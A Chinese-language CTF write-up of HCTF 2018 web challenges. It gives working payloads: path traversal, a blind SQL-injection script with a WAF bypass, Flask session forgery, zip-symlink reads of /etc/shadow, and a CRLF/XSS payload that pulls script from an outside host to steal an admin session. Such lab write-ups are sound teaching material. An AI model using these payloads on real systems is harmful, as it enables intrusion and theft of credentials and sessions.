hctf2018-web writeup

Posted by kingkk on 2018-11-12

前言

去年参加hctf的时候还是个小萌新,正好这个周末没什么事情参加了一下htcf的十周年纪念版,题目质量很高哈

和队友一起有幸做出了几道web题,记录并学习一下。(web狗只会做web。。。

Warmup

签到题,题目比较简单

html源码里能看到source.php的提示,从而可以获取到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

一个任意文件读取,但是需要?前的字符为source.php或者hint.php

常规方式应该是无法利用的,但是这里很刻意的写了个$_page = urldecode($page);,所以传参的时候只要两次url_encode就可以任意文件读取了

最后payload

1
http://warmup.2018.hctf.io/index.php?file=hint.php%253F/../../../../ffffllllaaaagggg

kzone

一个钓鱼网站,一进去就跳转,就只好扫一波目录

www.zip下载下来之后就是网站源码,然后就是一波源码审计

代码审计

定位到一个点include/member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
....

重点在$login_data = json_decode($_COOKIE['login_data'], true);

直接从$_COOKIE中取的数据,并且直接拼接到了SQL语句中

1
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

在本地搭建好环境后测试一波,我这里直接把SQL语句给die了出来

出现了一些奇怪的东西,最后定位到admin/safe.php

1
2
3
4
5
6
7
8
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

过滤了蛮多的字符,最后找到一个可以登录的payload

1
2
islogin=1; 
login_data={"admin_user":"admin'\rand\r'0","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}

此时的sql语句为

1
SELECT * FROM fish_admin WHERE username='admin'\rand\r'0' limit 1

这样$udata的值就恒为NULL,从而cookie中的admin_pass就为定值,可以伪造admin登录

进去之后搜了一波没找到什么有用的东西,最后还是把目光转回了SQL注入中,是否还能注入些更有用的数据呢?

SQL注入

根据waf找了一个勉强可以注入的语句

1
{"admin_user":"admin'\rand\rlpad(user(),{},2)in('r00t')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}

这时的SQL语句就变为了

1
select * from fish_admin where username='admin' and lpad(`username`,1,1)in('a') and'1' limit 1;

就可以通过是否登录成功进行盲注

这时候勉强可以注入出user()username这些无关痛痒的信息,但是当想注表名之类的数据时,就会因为information中存在or而无法注入

最后,组内一个大佬提示了一波unicode编码

json_decode在解码的时候会进行一次unicode解码

这样问题就好解决了,只要把被过滤的字符进行unicode编码然后传入就可以了,写了一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

url = "http://kzone.2018.hctf.io/admin/login.php"

rg = '._- {}'+string.digits+string.ascii_letters+'&'
flag = ''

for l in range(30):
for i in rg:
cookies = {
"islogin":"1",
# 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rcolumn_name\rfrom\rinf\u006frmation_schema.columns\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rf1a9\rfrom\rF1444g\rlimit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
}

r = requests.get(url, cookies=cookies)
print(i, end="\r")
# print("\r")
if len(r.text) > 1000:
flag+=i
print(flag)
break
if i == '&':
exit()

admin

一开始有点懵,不知道做什么,后来在改密码的地方发现了源码泄露(不得不说蛮隐秘。。

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

下载下来之后,可以在templates/index.html中看到

1
2
3
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}

说明只要session中的name值为admin就可以看到flag

flask中session的一些问题可以看p神的https://www.leavesongs.com/PENETRATION/client-session-security.html

需要伪造session就需要app.config['SECRET_KEY']的值一致才可以伪造,这里可以很明显的看到、

config.py

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

在本地起了环境之后可以发现os.environ.get('SECRET_KEY')是不存在的

所以SECRET_KEY的值就为固定的cjk123

这样,就比较简单了。在本地中删除admin的账户,再注册一个admin既可获取到对应的session

利用这个session放到比赛环境中,就可以成功伪造

1
session=.eJxFkEGLgzAQhf_KMucebIoXoYeFbIsLk6DEyuRSutUao3FBW6op_e8burB7fe_Nx3vzgONlrCcDyXW81Ss4thUkD3j7ggSQaYs875ClkeSml1x0Yp_3cr8zwnez8O-MWN5TiQu5T0PlwQVt0cq0wqYMbbjlKSNPHi1FwlEseO60ShdZprFUlUXbMM2LWdtsIUUxOryTP8daFbEus1mUwkllevR5yOousI1WwghFa_LNXapuRlts4bmC8zRejtfvrh7-J1hj0WcbqZAJv2vJ0QZ5s7xw7NAKFeqWH5F2h1ArzHHZorPtC9e6U1P_kYr9dVD3X2c4uWDAqXLtACu4TfX4-husI3j-AJEPb0Q.W-ecjw.kmDKDiOWm-kN8mitYFL-eVyT2dQ

hide and seek

zip软连接

进入之后是一个上传zip的功能,首先想到的就是zip软连接的问题

1
2
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

生成一个zip文件上传后,也正如预料的,成功读取到了/etc/passwd

但是这貌似才刚刚开始,然后呢,尝试读取了/flagapp/run.py之类的文件都没有对应的数据返回

但是可以读取/etc/shadow,说明权限是root

一切皆文件

这里卡了蛮久的,然后再网上搜索了一番,利用linux中一切皆文件的性质,尝试读取一些运行状态信息

最后读取了/proc/self/environ

貌似看到了一些有用的信息

1
2
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg

尝试读取下这个配置文件,可以获取到文件名

尝试读取

1
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

就可以读取到源码

session伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'

try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

一开始想着直接读取flag,但是被限制了

1
2
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))

解密登录的session可以看到,session中就存放了一个字典

猜测只要username字段等于admin就可以看到flag(读取templates/index.html也可以验证这一点

代码里有一个很诡异的随机数播种random.seed(uuid.getnode())

利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的

可以知道uuid.getnode()的值是当前MAC地址的十进制形式,则可以通过读取/sys/class/net/eth0/address来获取到MAC地址

1
12:34:3e:14:7c:62

转换成十进制后为20015589129314

然后尝试在本地用python2起了这个服务,一开始怎么试都不行,一开始以为是随机数的问题

后来用python3尝试了下,发现输出的随机数的精度不一样。。。

1
11.935137566861131

这样,在app.config['SECRET_KEY']一致的时候,session则是可以伪造的,在本地登录个admin账号,然后用session的值放到比赛环境中,就可以看到flag了


赛后复现题

game

在排序的时候,可以选择用password排序

这样,就可以疯狂注册账号,注册不同的密码,根据账号在admin的前后位置来fuzz出admin的密码

bottle

只有几个简单的登录注册,提交url功能。看了wp才知道bottle是个python框架,主要漏洞来自于

https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

一个2016年的cve漏洞,并且题目也提示了是用的firefox box,在302跳转的/path页面中存在一个CRLFhttp头截断

漏洞重点都在p神的文章中提到了,只要将跳转的url小于80即可

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0a%0d%0a<script%20src=//script.kingkk.com/1.js></script>

这样提交之后,就可以收到admin的session了,换上session之后,就可以看到flag

最后

由于是陆陆续续做的一些题,做完这些之后比赛就差不多快结束了,后面的题也就是瞟了一眼,有空还是会复现下的。感谢vidar-team一次体验极棒的比赛。